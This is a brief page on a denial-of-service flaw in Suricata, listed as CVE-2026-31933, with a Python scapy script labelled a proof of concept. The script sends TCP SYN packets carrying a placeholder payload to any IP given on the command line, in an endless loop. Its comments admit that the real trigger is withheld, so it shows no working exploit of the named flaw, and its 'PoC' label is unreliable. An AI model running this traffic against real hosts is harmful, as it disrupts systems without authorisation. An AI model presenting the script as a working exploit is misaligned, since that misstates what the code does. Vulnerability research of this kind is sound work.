CVE-2026-31933 Suricata拒绝服务漏洞

# PoC for CVE-2026-31933: Suricata Performance Degradation # This script sends crafted traffic to the target. # Note: The specific payload pattern that triggers the slowdown # is not disclosed here; this is a generic framework. import sys from scapy.all import * if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") sys.exit(1) target = sys.argv[1] # Sending a TCP packet with a crafted payload # Replace the payload with the actual trigger if known ip = IP(dst=target) tcp = TCP(sport=RandShort(), dport=80, flags="S") payload = Raw(b"Crafted_Payload_To_Trigger_Slowdown") packet = ip / tcp / payload print(f"[*] Sending crafted packets to {target}...") send(packet, loop=1, inter=0.05)